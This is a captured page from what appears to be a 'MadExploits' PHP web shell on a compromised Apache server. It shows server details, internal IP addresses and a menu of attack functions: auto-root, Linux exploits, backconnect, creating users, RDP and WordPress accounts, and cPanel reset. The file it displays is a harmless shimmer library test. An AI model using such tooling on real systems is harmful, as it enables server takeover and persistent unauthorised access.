Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
shimmer /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
init.tap.js
1.11
KB
-rw-rw-r--
massUnwrap.tap.js
3.93
KB
-rw-rw-r--
massWrap.tap.js
4.63
KB
-rw-rw-r--
unwrap.tap.js
2.66
KB
-rw-rw-r--
wrap.tap.js
3.87
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : unwrap.tap.js
'use strict' var tap = require('tap') var test = tap.test var sinon = require('sinon') var shimmer = require('../index.js') var outsider = 0 function counter () { return ++outsider } var generator = { inc: counter } test('should unwrap safely', function (t) { t.plan(9) t.equal(counter, generator.inc, 'basic function equality testing should work') t.doesNotThrow(function () { generator.inc() }) t.equal(1, outsider, 'calls have side effects') function wrapper (original) { return function () { return original.apply(this, arguments) } } shimmer.wrap(generator, 'inc', wrapper) t.doesNotEqual(counter, generator.inc, 'function should be wrapped') t.doesNotThrow(function () { generator.inc() }) t.equal(2, outsider, 'original function has still been called') shimmer.unwrap(generator, 'inc') t.equal(counter, generator.inc, 'basic function equality testing should work') t.doesNotThrow(function () { generator.inc() }) t.equal(3, outsider, 'original function has still been called') }) test("shouldn't throw on double unwrapping", function (t) { t.plan(6) t.equal(counter, generator.inc, 'basic function equality testing should work') var mock = sinon.expectation .create('logger') .withArgs('no original to unwrap to -- ' + 'has inc already been unwrapped?') .once() shimmer({ logger: mock }) function wrapper (original) { return function () { return original.apply(this, arguments) } } shimmer.wrap(generator, 'inc', wrapper) t.doesNotEqual(counter, generator.inc, 'function should be wrapped') shimmer.unwrap(generator, 'inc') t.equal(counter, generator.inc, 'basic function equality testing should work') t.doesNotThrow(function () { shimmer.unwrap(generator, 'inc') }, 'should double unwrap without issue') t.equal(counter, generator.inc, 'function is unchanged after unwrapping') t.doesNotThrow(function () { mock.verify() }, 'logger was called with the expected message') }) test('unwrap called with no arguments', function (t) { t.plan(2) var mock = sinon.expectation .create('logger') .twice() shimmer({ logger: mock }) t.doesNotThrow(function () { shimmer.unwrap() }, 'should log instead of throwing') t.doesNotThrow(function () { mock.verify() }, 'logger was called with the expected message') }) test('unwrap called with module but no name', function (t) { t.plan(2) var mock = sinon.expectation .create('logger') .twice() shimmer({ logger: mock }) t.doesNotThrow(function () { shimmer.unwrap({}) }, 'should log instead of throwing') t.doesNotThrow(function () { mock.verify() }, 'logger was called with the expected message') })
Close